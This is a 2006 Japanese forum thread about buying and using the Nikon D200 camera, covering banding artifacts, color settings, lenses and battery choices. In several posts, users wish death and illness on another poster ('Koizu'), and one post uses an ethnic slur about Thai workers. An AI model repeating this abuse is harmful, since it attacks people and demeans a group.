悶々としながら新機種出るまで待つか？
値段に手頃感が出てるD200買って、満足するまで使い込みして新機種待つか？

防湿庫に眠らせてしまう自己満足購入なら、何時かわからない新機種待てばいい。
今、D200買うなら、S5Proを候補に挙げるかも・・・・

73 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 12:49:44 ID:tMCAgDFa0

431 名前：名無しさん＠３周年[] 投稿日：2006/12/03(日) 12:52:46 ID:dHVgbGLW
昨日、NIKON D5Xsの中古の在庫が5万で出てたよ。
D4XsはISO64000だと結構ノイズが乗っているからあまりほしくない。

74 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 12:51:59 ID:7ghzlWHD0

>>69
逝ってらっしゃ～い。

ところで、D200発売から今日でちょうど１年ですなぁ。
http://www.nikon.co.jp/main/jpn/whatsnew/2005/1101_d200_01.htm
発売前から縞々や睫毛でスレは荒れまくったけど、まあ荒れるほど良いカメラって事かな。
スレ番号も未だに一番をキープしてるし。

ちなみに、自分のD200は滑り込みで調整中なので、最近は撮りためたRAWを現像したりしています。
http://dc-ita.dyndns.tv/~dc-ita/cgi-bin/imgboard/img-box/img20061216124139.jpg
なかなか良い色を出すのは難しいですねぇ・・・まあ元が良くないって事なんでしょうけど・・・

75 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 13:18:56 ID:tq1nZO+m0

S5Proは連写弱そうだから鉄には不向きかと推察。
ついでに言うと、鉄は望遠重視だからフルサイズにはそんなにこだわらない。
D200買っといて適度に使い込んで
>>72に一票。
(フルサイズの)新機種出たら下取り出して購入
睫は多かれ少なかれ同系列のCCD積んだモデルには共通だろうから、
たたき直してくるだろうと思いたい。
駅の蛍光灯下で夜撮ると出るのですよ(お化けかぃ)。
一度150%表示してみると以後簡単に気づく罠。

76 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 15:58:58 ID:dqrbNqrz0

トキナー50-135:知らん。
シグ50-150:写りは知らんけど明るさの割にコンパクトではある。
↑
どなたか、使用されてる方の作例、熱望デツ

77 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 16:05:01 ID:7ghzlWHD0

>>76
使ってはいないけど、興味は有る。

トキナー「AT-X 535 PRO DX 50-135mm F2.8」
http://dc.watch.impress.co.jp/cda/lens_review/2006/12/15/5255.html
～シグマとトキナー、2つのF2.8ズームレンズで野生動物に挑戦
http://dc.watch.impress.co.jp/cda/review/2006/11/21/5079.html

78 ：66：2006/12/16(土) 16:50:33 ID:1NMvZ3rgO

>70-75
ﾚｽどうもです。
昨年の冬は突然の銀塩撤退でFM3A買ってしまいD200の初期ﾛｯﾄをﾊﾟｽ？
夏は嫁にS3IS買ってやって機嫌とったけど、購入を却下さ(ry
本当はD50持たして使わせてもらおうと思っていたんだけど…
ボーナス出るたびL玉買っていた独身時代は…
FM3Aはたまにしか使わないけど腕が落ちるとすぐわかるﾘﾊﾋﾞﾘ用？
以上ﾁﾗｼの裏でした。
携帯からなのでAAや写真見れないのが残念です。
当方千葉在住なので、高光度LEDの被写体はあまりないのですが、来年2月のSLちばDC号の頃までには使いこなせるようになりたいです。
以前EF70-200F2.8Lのﾌﾚｱには泣かされたのでｷﾔﾉﾝに戻る気はありません。
D70のｶﾞﾐﾗｽﾌﾞﾙｰも設定変えて克服したのでD200も使いこなせば何とかなるかと思っています。
あっ、また千ﾗｼの裏？

79 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 18:25:47 ID:3docOuna0

「千ﾗｼ」とは根っからの鉄ちゃんですねw

80 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 20:37:04 ID:dqrbNqrz0

>>77
トン
見たけど、期待がある分、さほどの出来ではないような。

81 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 21:15:30 ID:E4EYE5kM0

59 です。
本日、待望の D200 レンズキットを購入しました。
いやぁ～、これはワクワクしますね。E8700 も愛用しているんですけど
コンデジとは存在感が全然違います。（笑）
父が F2 使いなので、年末に帰省した際にレンズを借りてこようと思ってます。

今日は購入してから雑用あれこれで、バッテリー充電して室内を試し撮り
した程度ですけど、明日はこいつを持ち出して、散歩がてらにあれこれ
撮り歩いてきます。

82 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 22:02:11 ID:1NMvZ3rgO

購入オメ！

83 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 22:05:31 ID:jz1rvaDV0

>>81
オメ！＆いらっしゃい！！

84 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 22:52:10 ID:3docOuna0

>>81
いいなあ

85 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 23:10:39 ID:+Fww1bsh0

D70からの乗換えなんだけど、購入して１週間。

シャッター音、最初はぎこちなくてなんかいやだったけど、慣れてくるとイイ！ね。
バッテリーは相変わらず持たないね。そのうち予備を買ってこなきゃ。
あとどうしても気になるのが、色合い。
D70の時のような、しっとりとした落ち着きのある色合いじゃない。
なんかキャノン色が強いような？

おまいさんたちのお奨め設定はなんだい？

86 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 23:36:09 ID:9OwCbYY60

mode I
諧調：標準
輪郭：標準
彩度：強め
色合い：+3
WB：晴天

が俺のデフォだ。

87 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 00:48:05 ID:yWXDoTNT0

>>81
俺も8700からの乗り換え組。いまレンズと一緒に一年点検中。

久しぶりに8700さわると　軽っ！！　ってなるよ

88 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 00:58:38 ID:T9QYqcnK0

輪郭強調　標準
階調　　　　オート
カラー　　　　I
彩度　　　　標準
色合い　　　+3°
高感度NR無し

後はRAW撮りでNX仕上げ
Jpg撮って出しとNCやNXのRAW-Jpg変換で解像感比較してみたけど
ソフト通した方がぜんぜんいいのでRAW撮りオンリーでつ。

89 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 02:29:56 ID:6t9G3+sc0

>>73
未来からこんにちは！

90 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 15:47:04 ID:OcI0Nxjp0

D200の画質の悪さは設定で救えるもんじゃないよ。

91 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 19:33:54 ID:JK1xoQr90

コイズさぁ。D200使ってから言えよなぁ。
俺のD200貸してやろうか？

92 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 20:07:54 ID:FZhd7fEy0

>>91
視度調節ツマミのノッチ数（手ごたえの数）が幾らか聞いてみたら。？
取説には数まで載っていないし・・・・
持ってる人なら　数分で回答できるよ　（弄ると判る）　

93 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 20:14:26 ID:JK1xoQr90

>>92
あ、いや、コイズは聞くまでもなくD200は使った事無いよ。
D70,D70s,D2H,D2Xは使っているけど。

94 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 20:21:24 ID:zLS7IvHNO

>90はD2x板にいたｷﾔﾉ(ry

95 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 21:18:58 ID:OcI0Nxjp0

＞D70,D70s,D2H,D2Xは使っているけど。

D200は使い物にならないという判断ですねｗ

96 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 21:24:11 ID:JK1xoQr90

>>95
だから、使ってから言えと。

97 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 22:48:12 ID:Qo9o4USM0

81 です。
今日の午前中に、近くの公園で撮り歩いてきました。
冬の公園は殺風景かと思ってましたが、紅葉・黄葉それぞれ残っていて、
それなりに色彩の乗った絵が撮れましたよ。（笑）
E8700 では JPG か TIF ばかりで手間の掛かる RAW は敬遠していたのですが、
D200 から RAW で撮ってみて、改めてその有用性を実感。
楽しいですね！

私も若い頃は、新製品が期待通りじゃなかったときは、使いもしないで情報
だけを根拠に不満を口にしたものですが、所詮は道具なのだから欠点をどう
カバーするか、自分なりに工夫して使うことが上達のポイント。
本質を理解できるようになってからは、不満を口にすることも減りました。
自分なりのコツを得られたら、ますますその道具に愛着が湧きますよね。

>>87
お～、仲間！　E8700 は VR 未搭載と言うだけで冷遇されていたものの、
基本性能と付いているレンズは優れていますよね。
欠点を補って有り余る、隠れた名機だと思ってます。（笑）
ホント、D200 を持った後に E8700 を持つと、軽っ！＆D40より小さっ！
って感じです。

98 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:11:13 ID:OcI0Nxjp0

コンデジがどうしたって？ｗ

99 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:14:22 ID:ZFvsZ+jE0

コイズはキャノン買えばいいのに。
コイズがニコン使ってるのがイヤでたまんない。

100 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:16:33 ID:OcI0Nxjp0

じゃー2ちゃん見なきゃいいよ。
価格も。
おれはその二つ以外には書き込んでないからね。

101 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:17:23 ID:ZFvsZ+jE0

コイズ死ねばいいのに

102 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:17:29 ID:JK1xoQr90

コイズが価格に書き込んでいるとは初耳だな。

103 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:18:01 ID:g1Tli/310

憎まれっ子世に憚る

という諺もあるからね。

104 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:18:17 ID:OcI0Nxjp0

ていうかもう名前を呼んだり相手したりしないほうがいい。
それが一番だよ。徹底スルー敢行ね。
もう話題にすることもしないほうがいい。

105 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:18:58 ID:ZFvsZ+jE0

ほんとに死ねばいいのに

106 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:19:32 ID:ZFvsZ+jE0

コイズほんとにエイズだったらいいのに

107 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:19:46 ID:g1Tli/310

お前が書き込まないのが、一番。

という選択肢は無いのかい？

108 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:20:16 ID:OcI0Nxjp0

>>102
もう2年ほどカキコしてないけどね。
あそこはレベル低くてつまんない。
2ちゃんのほうがレベル高いね。

109 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:20:29 ID:ZFvsZ+jE0

死ねよ

110 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:21:31 ID:JK1xoQr90

>>108
お、少しはまともになってきたな。

で、D200の画質のどこが悪いって？

111 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:21:34 ID:ZFvsZ+jE0

鬱とか精神変調で死なないかな。

112 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:30:12 ID:zLS7IvHNO

変なｺﾃﾊﾝ名のらないでｺｲｽﾞと書いてくれれば分かりやすいのに

113 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:33:53 ID:OcI0Nxjp0

とにかくゴミの相手はしないこと。それが大事。

114 ：名無CCDさん＠画素いっぱい：2006/12/17(日) 23:39:32 ID:ZFvsZ+jE0

　死　ね　ば　い　い　の　に

115 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 01:34:48 ID:3xd7nfID0

>>113
あらら、自らをゴミだと認めやがった。
じゃぁ、要らない子は、とっとと氏ねばいいのに

116 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 02:02:26 ID:18guZ/Ny0

電池が持たないのに画質が悪いってほんとうですか？

117 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 02:06:36 ID:dTwMOLXX0

>>116
電池が持たないのは本当。
画質が悪いのは、コイズが言っているだけ。

118 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 02:37:20 ID:3xd7nfID0

電池の持ちは確かに悪いが、予備電池を持ってれば無問題だし、
画質が悪いかどうかは自分のその目で確かめてくれよ。

119 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 07:20:38 ID:Cug7LWqwO

そんな変な質問するのはID変わったｺｲｽﾞじゃないの？

120 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 09:37:38 ID:Qyc0g3600

>>116,>>117
電池が若干持たないのは本当。
画質が悪いと言うのは、コイズがD200を使いこなせないだけ。

121 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 12:23:59 ID:UCB336fnO

コイズがD200なんて持ってる訳無いw
リアルに来月からの米代にも事欠く御様子。

122 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 14:08:16 ID:18guZ/Ny0

D200にトキナーあたりの広角レンズ付けるような恥ずかしいおっさんにはなりたくないよねえｗ

123 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 14:10:52 ID:dTwMOLXX0

>>122
おいおい、トキナーの12-24はニコンより良いくらいだぞ。比べた事有るの？
それよりD200の画質のどこが悪いって？

124 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 14:11:03 ID:kfhzSO120

コイズは死ねばいいのに

125 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 14:45:05 ID:mZaLhnhb0

>>12
文章がスレの寄せ集めで独創性が無く、ユーザーを刺激する程の文章力も無し。
評価：５点

ちなみに後半は俺が書いた文章をいじってるね。君。
この話は「趣味のニコンカメラ」じゃないよ。俺が間違ってた。

126 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 16:29:46 ID:4s6WPXpJ0

>>122
http://dc.watch.impress.co.jp/cda/review/2004/12/09/607.html

127 ：名無CCDさん＠画素いっぱい：2006/12/18(月) 20:01:02 ID:F6Y+1T5z0

今日、飛行機(戦闘機)の写真が載ってる来年のカレンダーを貰った。
良く見たら、キャノピーの部分に見たことある縞が・・・

128 ：名無CCDさん＠画素いっぱい：2006/12/20(水) 01:23:16 ID:h68HmbePO

なんで072スレの方が上に上がっているんだ？
保守

129 ：名無CCDさん＠画素いっぱい：2006/12/20(水) 20:59:55 ID:yzXL71yR0

http://www.dpreview.com/reviews/pentaxk10d/page15.asp
ちょっと気になったんだが、D200はこの場合、D80と同等の画質と考えていいの？
それとも後発のD80のほうがやはり画質はいいのか？

130 ：名無CCDさん＠画素いっぱい：2006/12/20(水) 21:32:32 ID:hCHELGUs0

昨日買ったD200。
液晶モニタにどっと抜け発見。
ショックだ。仕方なし？

131 ：名無CCDさん＠画素いっぱい：2006/12/20(水) 21:35:17 ID:V4BW/JPl0

>>130
タイの土人が作ってるんだからそれぐらい許容しろよあほがｗｗｗ

132 ：名無CCDさん＠画素いっぱい：2006/12/20(水) 21:43:36 ID:8+i++yNo0

>>130
キタムラまら交換してくれる。
量販店ならムリ。

133 ：名無CCDさん＠画素いっぱい：2006/12/20(水) 22:39:48 ID:8F64l14P0

画質革命って激しく失敗じゃね？
http://www.dpreview.com/reviews/pentaxk10d/page15.asp

134 ：名無CCDさん＠画素いっぱい：2006/12/20(水) 22:42:20 ID:AUFgpZsz0

メーカー別売り上げはニコンがトップ。シェア50％まであと一歩。
http://headlines.yahoo.co.jp/hl?a=20061220-00000015-bcn-sci
D200もまだまだ売れ続けているようだ。

135 ：名無CCDさん＠画素いっぱい：2006/12/20(水) 22:49:44 ID:V4BW/JPl0

最近のロットで縞が改善されたと聞かされるほど
初期を掴まされた客に連絡もしないニコンって会社
つくづくどうしようもないメーカーだと感じるよ、
怖くて選べないメーカーです。

136 ：名無CCDさん＠画素いっぱい：2006/12/20(水) 22:59:13 ID:knbqXlwu0

どこかのメーカーは不具合を修正できないまま見切り発車したそうだが
ラーメン悔いテエな

137 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 00:00:59 ID:hXuDQnrs0

>>132
淀でも店員にドット抜けを示せば、即行交換してくれるよ。

138 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 02:12:16 ID:onu806TT0

縞は調整で出なくなり、睫毛は慣れた。
最近はAWBで晴天夕方の青かぶりが気になる。

139 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 08:45:56 ID:qnhUDWYY0

>>138
夕焼けとか夕日に照らされたもの？
それとも夕刻の日陰？
AWBで全体が赤いもの撮れば当然青被りになるのだけど、
そういう訳じゃないんだよね？

140 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 09:28:38 ID:Gfk7Vly/0

先日、コンサートの撮影にD200持っていきました。
MB-D200にフル充電のEN-EL3e２本詰め込んでたのですが
みるみる消耗していくのにはちょっと焦りました。
一個ずつ使って、片方がカラになったら
次にバトンタッチしてくれる機能は便利だと思ったけど。

予備として使ったD100は電池一個で最後までもってくれました(^_^;)

141 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 09:56:10 ID:tRuAjcf+0

>>140
エネループ使え

142 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 12:13:39 ID:mQHsk4in0

充電池二本とエネループ
どっちが電池持つのん？

143 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 19:33:00 ID:5dzUQISx0

エネループはVR効かせまくりで2,000枚くらいは逝く。

144 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 21:23:09 ID:5t4kizx60

サンヨー>>>>>>>>>>>>ニコン　　　ってことか・・・

145 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 22:00:15 ID:3eS8JV6E0

SONYだろ

146 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 22:04:18 ID:tRuAjcf+0

エネループ安いよ
１セット分６本で２３００円前後
EN-EL3eが７０００円ぐらい。
エネループいいと思うんだけどね。

147 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 22:05:14 ID:JKKf+U7Z0

充電池は高々1600だろ
単3の容量考えれば、仕方ない。

148 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 22:38:26 ID:tRuAjcf+0

そう言えばエネループのOEMでソニループも出てるね。

149 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 22:57:51 ID:XmrrIdXV0

やな名前だw

150 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 23:13:38 ID:SQMxNX0O0

Ｆ５とＳ２Ｐｒｏを長く使ってましたが、安くなってきたし、
クリスマスにＤ２００を買おうと思います。

ただ電池がもたないという話は気になりますね。
Ｓ２Ｐｒｏでも単三ニッケル水素を５組くらい使ってましたが、
自作で外部電源化しちゃったくらい。
エネループですか・・・・

151 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 23:15:29 ID:06KMVaJk0

>>150
S2proってエネループだと何コマくらい行けるんですか？

152 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 23:19:41 ID:r84WeQ4j0

ROWAとか、サードパーティーのEL3e互換バッテリーはどうなのかなぁ・・
あれを複数持つ方がMB-D200＋エネループより軽くて便利なように思うん
だが。

153 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 23:37:51 ID:HXWnb3XL0

>>148
エネループ、パナループ、ソニループは、それぞれの
メーカの独自品じゃなかったっけ？

154 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 23:44:51 ID:UbScmGIQ0

>>139
12月はじめ、午後3時頃の日向と日陰と両方だね。
ほぼ夕方に近い。被写体はいろいろ。
おっしゃるっとおり、赤系の被写体は青かぶりが強い。
しかし、普通の被写体（人物と建物、建物と青空）などでも
青かぶりがかなりある。
WBを晴天にするとだいぶ良いがそれでも全体に青っぽくて
黄色などくすんで見えるよ。色温度入力での調整は必要だね。
ファームアップしてから目立つような気がする。
と言うことでRAW撮り主体を心がけてるよ。
AFの速さ、ミラーショックの少なさ、連写の速さ、
それから内蔵ストロボ調光の良さを考えると
他社製品も持ってるけど結局D200持ち出してる。

155 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 23:50:30 ID:tRuAjcf+0

エネループとソニループは同じでしょ。
パナループは独自品少し保存性が悪い？

156 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 23:51:05 ID:YrA6Mu8X0

>>151
エネループは2000mAhでしょう。
それなら2700mAもある普通のNiMHの方が35％も容量が大きい。
実際よく保つ。6本で2000円もあればおつりが来る。
純正のリチウム充電池を買うのがばからしくなる。

157 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 23:53:56 ID:SQMxNX0O0

Ｓ２Ｐｒｏはマイクロドライブが指定されている上、
リチウム抜きの単三だけで動かすとやたら電気を食います。
連写すると電圧が下がって書き込みエラーが出るので、
充電池１セットでせいぜいＲＡＷ４０枚くらいしか撮れなかったかと。

まあ買った当時はデジ一だしそんなもんだと思ってたんですが・・・・・

158 ：名無CCDさん＠画素いっぱい：2006/12/21(木) 23:57:05 ID:06KMVaJk0

>>157
あ　CR123か何かと併用。それは辛いすね・・・

159 ：百聞不如一見 ◆ASuz8JkzN. ：2006/12/22(金) 00:00:39 ID:Dz39hsKl0

>>150
S2ProならMyBatteryという選択肢もありますよ。良さげです。
ttp://www.jtt.ne.jp/products/original/expert/index.html

160 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 00:01:49 ID:Zu0GyoTP0

>>152
今のところ、ROWAしか使っていないが、全く問題なし。
そのうち、違うメーカーにもチャレンジする予定。

161 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 00:07:34 ID:RKauz3aL0

>>156
使う前の日に充電するなら確かに容量の大きいほうが良いですね。
エネループは充電して半年ぐらい放置してても自然放電が少ないので
管理が簡単なんですよね。

162 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 00:31:03 ID:uMSBW5vZ0

>>157
マイクロドライブの方がCFよりどれくらい電池喰う？

163 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 00:58:04 ID:82AbSNJu0

SANYOの2700なんて絶対買うなよ。あれは本当に地雷だからな

164 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 01:47:34 ID:JzjXl3Yi0

>>163
容量の大きさに釣られ、そのSANYOの2700を買った(汗)
充電した翌日に使い切るなら最強だけれども
数日間をおくと、容量が激減してる！
激しい自然放電(化学反応？)でホントに地雷だね(笑)

前日に確実に充電して用意してれば2700は最強だが
油断していて、いざ使おうと思うとアレ？ってなる。
エネループで俺は幸せになった。
充電しておけば、後は使いたい時にパッと使える。

165 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 05:18:48 ID:heE5sXCd0

ﾊｱ　/　Ｊ　uＪ　Ｊ u ＼（　）
　　 /　u　Ｊ　━　 ━ ｜
　　｜　Ｊ　Ｊ　 (･)　(･)｜ﾊｱ
（　）(6　　　Ｊ　Ｊ　つＪ）
　（　　|　Ｊ　　u┏━┓| 　　　　／￣￣￣￣￣￣￣￣
　　ﾊｱ＼　Ｊ　 ┃□┃| 　　＜使いたい時にパッと…ﾊｧﾊｧ
|＼／￣￣￣|＿■■■／⌒＼＿＿＿＿＿＿＿＿
＼.|　D 8 0　 |　　　　　　　　　.＼　　　　　　　　　　　／￣￣ヽ
　＼　完全　|　　　　　　　／⌒⌒ヽ　　　　　　　　／　　　　　＼
　　　＼ガイド|・　　｜＼（　　人　）　　　　　　／　　　　　　　　ヽ
　　　　＼__＿|　／　　　　ゝ　　　　ヽ＼　　　／　　　　　　　　　　|

166 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 06:30:24 ID:lrDwK4Vs0

>>163.164
自分のＧＰの2700mAhは一ヶ月放置しても平気。
秋月にあった。

167 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 09:46:05 ID:jrd+vpAG0

エネループはスピードライト用で常用してるよ。
常に6本予備を用意してるから、D200用の予備にもなる。
乾電池という消耗品が、充電によって消耗品でなくなるのは
非常に助かる。

168 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 13:20:21 ID:mY1NkN6b0

エネループとサンヨーの2700両方持ってるけど、D200で使うとあまり変わらない感じがしたのは
折れだけか？

169 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 16:00:56 ID:RKauz3aL0

俺も超急速充電器につられてソニーの2500を１セット使ってるが
エネループと持ちは変わらないね。自然放電は早い。
充電器だけ欲しかった
（なんせ４本１５分充電だもん、エネループでも２５分で充電完了）

170 ：名無CCDさん＠画素いっぱい：2006/12/22(金) 21:31:23 ID:2sEhLuF80

充電状態が個別にモニターできる充電器を買ったところ、
古いニッケル水素は意外とバラツキが出ているのが判った。
４本セットの中には１本だけ電圧が上がらない電池もあって、
これが極端に容量が小さくなっていた原因らしかった・・・
接点を磨いておくとか、手入れが必要かも。

171 ：66：2006/12/23(土) 19:32:01 ID:J03KGMLwO

流れを止めて悪いのですが、先程D70とVR24-120を嫁に出してD200購入しました。
早く家に帰って充電したい。
以上千ﾗｼの裏でした。

172 ：名無CCDさん＠画素いっぱい：2006/12/23(土) 20:26:31 ID:1nJBh6xv0

>>171
個人的なこと書くなよぼけが

173 ：名無CCDさん＠画素いっぱい：2006/12/23(土) 20:43:48 ID:WmnRQpze0

いくら安くても、中華製の充電池だけは買ってはいけないね。
熱くなって充電できないのが混じっていたり、液漏れしやがったり・・・・・・。

ＣＲ１２３Ａ型の充電池セットは国産に無いのでイイと思って買ったら、
なんと３回と使わんうちに死んでしまった。
使いきり電池より高くついたし、
もちろんそれでもノークレーム・ノーリターン・・・・・・・

174 ：名無CCDさん＠画素いっぱい：2006/12/23(土) 22:02:18 ID:7wAYjCS50

>>171
いいんじゃないすか。

>>172　るせーんだよ
ﾊﾟﾝﾊﾟﾝﾊﾟｰﾝ
　　 ∧__∧　 ∩
　　（,,`･ω･´)彡☆
　　　⊂彡☆))Д´)
　　　　　　　☆

175 ：名無CCDさん＠画素いっぱい：2006/12/23(土) 22:02:21 ID:IqCNGfen0

なんかここのスレ観てるとニコン地に落ちたな感大きい
買うならＤ２００だと思ってたのに・・

176 ：名無CCDさん＠画素いっぱい：2006/12/23(土) 22:26:25 ID:BOhXM4gX0

買って、がっかりした事。
・ノイズがやたら多い事
・バッテリーの持ちが悪い事
・水平取ってもD70の頃みたいに左下がりに写ってしまう事
・AE-L、AF-Lボタンが上下逆さまに付いていた事

177 ：名無CCDさん＠画素いっぱい：2006/12/23(土) 22:53:59 ID:4nk5tvui0

買って期待通りだったことは？

178 ：名無CCDさん＠画素いっぱい：2006/12/23(土) 23:23:44 ID:y9K3DhWB0

このスレの評判

179 ：名無CCDさん＠画素いっぱい：2006/12/23(土) 23:39:14 ID:BOhXM4gX0

買って、良かった事。
・連写スピード。何でも撮れそうな気になる。（しかし、ほとんど出番無し）

だけだなぁ。

180 ：66：2006/12/23(土) 23:49:43 ID:Ch4Hli1x0

とりあえず充電が終わったのでｶｷｺ
ファームは初めから2.00になっていました。

期待どおりだったこと
背面液晶がきれい、ファインダーがよい
D70のファーストショットでなんだこりゃというｶﾞﾐﾗｽﾌﾞﾙｰではなかったこと
あとは使いこなしながら見つけてみます。

期待はずれだったこと
ﾆｺﾝのﾏﾆｭｱﾙは相変わらず難しい？

181 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 00:00:44 ID:yPHCjWX10

>>171

ｵﾒ!

おれもD70を下取りに出して
夏ﾎﾞでD200を買ったよ。
ISO1600はｷﾂｲけど、
それ以外は大満足。

182 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 00:04:01 ID:OzVfYQIX0

>>180
オメ！！漏れも火曜日に入手したとこ。
発売当初から此処で散々煽りを見てきたせいか、全てが期待以上だったよｗ
バッテリーが持たないのが玉に瑕だけど、各自工夫で何とかなる事だし、
カメラ自体の使い勝手がF100以上で、「200」の名に偽り無しの出来だった
事に感心した。
ついにデジタル一眼の完成度がフィルムカメラを上回る時代になったのかと
感動している。ﾌｧｲﾝﾀﾞｰ倍率はもっと頑張って欲しいとこだけど、APS-Cでは
これが限界なのかな？

183 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 00:04:30 ID:ZJtTyqLCO

縞縞あげ

184 ：66：2006/12/24(日) 00:22:44 ID:/NjjLV9N0

>181-182
どうもです。
現在、取説見ながら試行錯誤しています。
以前購入したDK-21M
眼鏡使用の私はやはり周囲がけられます…
それ以外は概ね満足です。
わかりやすい解説本があったら是非教えて下さい。

185 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 00:56:28 ID:XdzcAmFq0

今頃コレ買うとは...待てないのか？

186 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 01:02:40 ID:JfhzMijf0

他人が何買おうが関係ないだろさ。
あっちは価格帯もやや違うのだから。
手放しに喜ばせてやりゃいいのに。

187 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 01:42:42 ID:YWzrC+j00

>>185はケチをつけたいだけのひねくれ者。

188 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 01:45:20 ID:qtkL8B6l0

その、待てない、というのは、
SD１４のことでしょ？

来春になっちゃったからね。

189 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 01:48:37 ID:p4txhhAW0

SD14って連写秒何コマ？
このスレで話題に出るって事は8コマくらいは最低でもいくんだろうなぁ。

190 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 02:37:13 ID:sfeluvLVO

秒間5ｺﾏ撮れて､持ち運びしやすいのは選択肢限られているし…
1年半でたいして変わらないのにFMC繰り返すあれは買いたくないとなれば、一択となるのだが…

191 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 09:33:49 ID:c3o18pUz0

待てるヤツは永遠に待っていればいい

192 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 11:21:29 ID:AYYR5vK70

＞＞１９１
ぞんざいに聞こえるな。
待てる方は待っていいと思う。

193 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 11:28:08 ID:f54DSpwH0

>>192
で、何を待っているの？

194 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 13:07:31 ID:IZ06Zf140

つか待てる奴は新しいのが出ても、さらに待てる奴だから。
永久に待ち続け死んでいく人生。

195 ：名無CCDさん＠画素いっぱい：2006/12/24(日) 14:27:31 ID:q0EZfqUM0

クリスマスイブに基地外が降臨しました！！！

【小さい】Nikon D40 Prat7【かわいい】
http://hobby7.2ch.net/test/read.cgi/dcamera/1166622076/379

379 名前：名無CCDさん＠画素いっぱい[sage] 投稿日：2006/12/24(日) 04:43:30 ID:jB4GCTRd0
JPEG撮って出しがだんだん良くなってきていて、RAWとの差が小さくなったと思う。
D70 RAW＞＞＞JPEG
D50 RAW＞＞JPEG
D40 RAW＞JPEG

